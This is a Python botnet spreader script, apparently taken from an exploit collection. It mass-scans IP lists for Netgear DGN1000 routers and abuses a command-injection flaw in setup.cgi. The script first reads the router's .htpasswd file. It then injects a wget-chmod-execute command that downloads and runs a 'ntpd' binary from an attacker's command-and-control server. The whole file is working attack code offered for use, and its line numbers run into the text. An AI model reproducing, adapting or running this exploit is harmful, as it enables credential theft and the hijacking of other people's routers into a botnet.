Path: blob/master/Botnets/Exploits/DGN1000-2/cfg.py
5038 views
# nano /usr/include/bits/typesizes.h -> change 1024 to 999991# ulimit -n 100000023import threading, random, socket, time, sys, urllib245blacklisted = ["127.0","10.0","192.168"]6ports = [5000, 80, 8080, 8000, 8888, 8443]78if len(sys.argv) < 2:9sys.exit("Usage: python " + sys.argv[0] + " <ip-list> <cnc-ip>")10print "Scanner starting..."1112server_ip = sys.argv[2]1314def infect(ip):15global ports16global blacklisted17try:18thisipisbad='no'19for badip in blacklisted:20if badip in ip:21thisipisbad='yes'22if thisipisbad=='yes':23sys.exit()24for port in ports:25try:26s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)27s.settimeout(3)28s.connect((ip, port))29s.close()30ppport = port31except:32pass3334dobreak=False35if ppport != 8080:36rs = urllib2.urlopen("http://" + ip + ":" + str(ppport) + "/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=cat+/www/.htpasswd&curpath=/¤tsetting.htm=1")37else:38rs = urllib2.urlopen("http://" + ip + "/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=cat+/www/.htpasswd&curpath=/¤tsetting.htm=1")39time.sleep(1)4041if "admin:" in rs.read():42badserver=False43else:44sys.exit()45badserver=False46if badserver == False:47print "Infecting " + ip48if ppport != 8080:49url = "http://" + ip + ":" + str(ppport) + "/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=wget%20http://" + server_ip + "/ntpd%20-O%20/var/tmp/ntpd;%20chmod%20777%20/var/tmp/ntpd;%20/var/tmp/ntpd;%20rm%20-rf%20/var/tmp/ntpd&curpath=/¤tsetting.htm=1"50else:51url = "http://" + ip + "/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=wget%20http://" + server_ip + "/ntpd%20-O%20/var/tmp/ntpd;%20chmod%20777%20/var/tmp/ntpd;%20/var/tmp/ntpd;%20rm%20-rf%20/var/tmp/ntpd&curpath=/¤tsetting.htm=1"52rs = urllib2.urlopen(url, timeout=5)53time.sleep(1)54except Exception as e:55pass5657vulns = open(sys.argv[1], "r").readlines()58x = 05960for line in vulns:61try:6263line = line.replace("\n", "")64if x > 50:65time.sleep(1)66x = 06768t = threading.Thread(target=infect, args=(line,))69t.start()7071x += 172except Exception as e:73pass7475print "Done"76777879